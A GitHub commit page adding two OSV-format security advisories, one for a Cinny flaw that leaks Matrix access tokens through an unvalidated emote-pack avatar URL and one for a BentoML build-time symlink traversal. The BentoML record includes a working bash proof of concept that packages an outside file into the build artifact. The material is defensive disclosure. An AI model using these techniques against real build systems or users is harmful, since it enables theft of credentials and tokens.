Skip to content

Commit 9e7f546

Browse files
1 parent fdc5b64 commit 9e7f546

2 files changed

Lines changed: 117 additions & 0 deletions

File tree

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-j944-w549-3453",
4+
"modified": "2026-05-07T16:40:52Z",
5+
"published": "2026-05-07T16:40:52Z",
6+
"aliases": [
7+
"CVE-2026-42553"
8+
],
9+
"summary": "Cinny vulnerable to access token disclosure via invalidated emoji pack avatar URL in service worker",
10+
"details": "### Impact\nA remote authenticated attacker who shares a room with a victim and has permissions to create room emotes (for example in a DM) can cause the victim's client to send their Matrix access token to an attacker-controlled server. This occurs when the victim opens the emoji or sticker picker for the room containing a malicious emote pack. \n\nThe root causes are: \n\n(1) an incorrect fallback in EmojiBoard that uses untrusted `pack.meta.avatar` (user-controlled) without converting/validating it as an MXC URL, allowing arbitrary HTTP(S) URLs to be used; and \n\n(2) the service worker attaching the user's Authorization bearer token to all outbound GET requests whose URL contains `/_matrix/client/v1/media/download` or `/_matrix/client/v1/media/thumbnail` without verifying the request host matches the configured homeserver origin. An attacker-controlled URL containing those path fragments and permissive CORS will receive the victim's Authorization header (access token). \n\nImpacted users: anybody using affected Cinny web app versions who opens the emoji/sticker picker in a room containing a malicious emote pack and who is logged in (authenticated).\n\n### Patches\nVersion with fixes: https://github.com/cinnyapp/cinny/releases/tag/v4.10.3",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "cinny"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.10.3"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/cinnyapp/cinny/security/advisories/GHSA-j944-w549-3453"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/cinnyapp/cinny"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-20"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-05-07T16:40:52Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-mcfx-4vc6-qgxv",
4+
"modified": "2026-05-07T16:39:47Z",
5+
"published": "2026-05-07T16:39:47Z",
6+
"aliases": [
7+
"CVE-2026-40610"
8+
],
9+
"summary": "BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context",
10+
"details": "### Summary\nBentoML's `bentoml build` packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact.\n\nIf a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as `loot.txt -> /tmp/outside-marker.txt` or a link to a more sensitive local file. When `bentoml build` runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows.\n\n### Details\nThe vulnerable code walks files under the build context and copies each matched entry into the Bento source directory:\n\n```python\nfor root, _, files in os.walk(ctx_path):\n for f in files:\n dir_path = os.path.relpath(root, ctx_path)\n path = os.path.join(dir_path, f).replace(os.sep, \"/\")\n if specs.includes(path):\n src_file = ctx_path.joinpath(path)\n dst_file = target_fs.joinpath(dest_path)\n shutil.copy(src_file, dst_file)\n```\n\nThere is no validation that the resolved path of `src_file` remains inside `ctx_path` before `shutil.copy` dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from `attacker-controlled repository content` to `developer/CI host filesystem` during the build process.\n\nThis is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact.\n\n### PoC\nThe issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory.\n\n```bash\nmkdir -p /tmp/bento-symlink-poc\ncd /tmp/bento-symlink-poc\n\nprintf 'BENTOML_SYMLINK_POC_123456\\n' > /tmp/outside-marker.txt\n\ncat > service.py <<'EOF'\nimport bentoml\n\n@bentoml.service\nclass Demo:\n @bentoml.api\n def ping(self, x: str) -> str:\n return x\nEOF\n\ncat > bentofile.yaml <<'EOF'\nservice: \"service:Demo\"\ninclude:\n - \"service.py\"\n - \"loot.txt\"\nEOF\n\nln -s /tmp/outside-marker.txt loot.txt\n\nbentoml build --output tag\nbentoml export demo:7pilrpjtlomelwct /tmp/poc.zip\n\nmkdir -p /tmp/poc-unzip\nunzip -o /tmp/poc.zip -d /tmp/poc-unzip\nfind /tmp/poc-unzip -name loot.txt -print\ncat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \\\nfind /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \\;\n```\n\n- The script creates `/tmp/outside-marker.txt` outside the build context as a stand-in for a sensitive local file.\n- It creates a minimal BentoML service and explicitly includes `loot.txt` in `bentofile.yaml`.\n- It creates `loot.txt` as a symlink to the external marker file.\n<img width=\"1531\" height=\"648\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1312dcf0-74b0-4fb6-a05d-b68644470d82\" />\n\n- It runs `bentoml build`, exports the generated Bento, unzips it, and reads the packaged `src/loot.txt`.\n- Successful exploitation is confirmed when the packaged file contains `BENTOML_SYMLINK_POC_123456`, proving that BentoML copied the external file contents rather than keeping only the symlink.\n<img width=\"1315\" height=\"121\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6ed34f51-9b68-4fa9-8a42-011deb84d54e\" />\n\n\n<img width=\"1697\" height=\"760\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9b8a8ae5-4f06-46b4-9e4a-dee25cc5d203\" />\n\n\n### Impact\nAn attacker who can cause a developer, release engineer, or CI system to run `bentoml build` on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact.\n\nThis can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "bentoml"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.4.39"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 1.4.38"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-mcfx-4vc6-qgxv"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/bentoml/BentoML"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-59"
54+
],
55+
"severity": "MODERATE",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-05-07T16:39:47Z",
58+
"nvd_published_at": null
59+
}
60+
}

0 commit comments

Comments
 (0)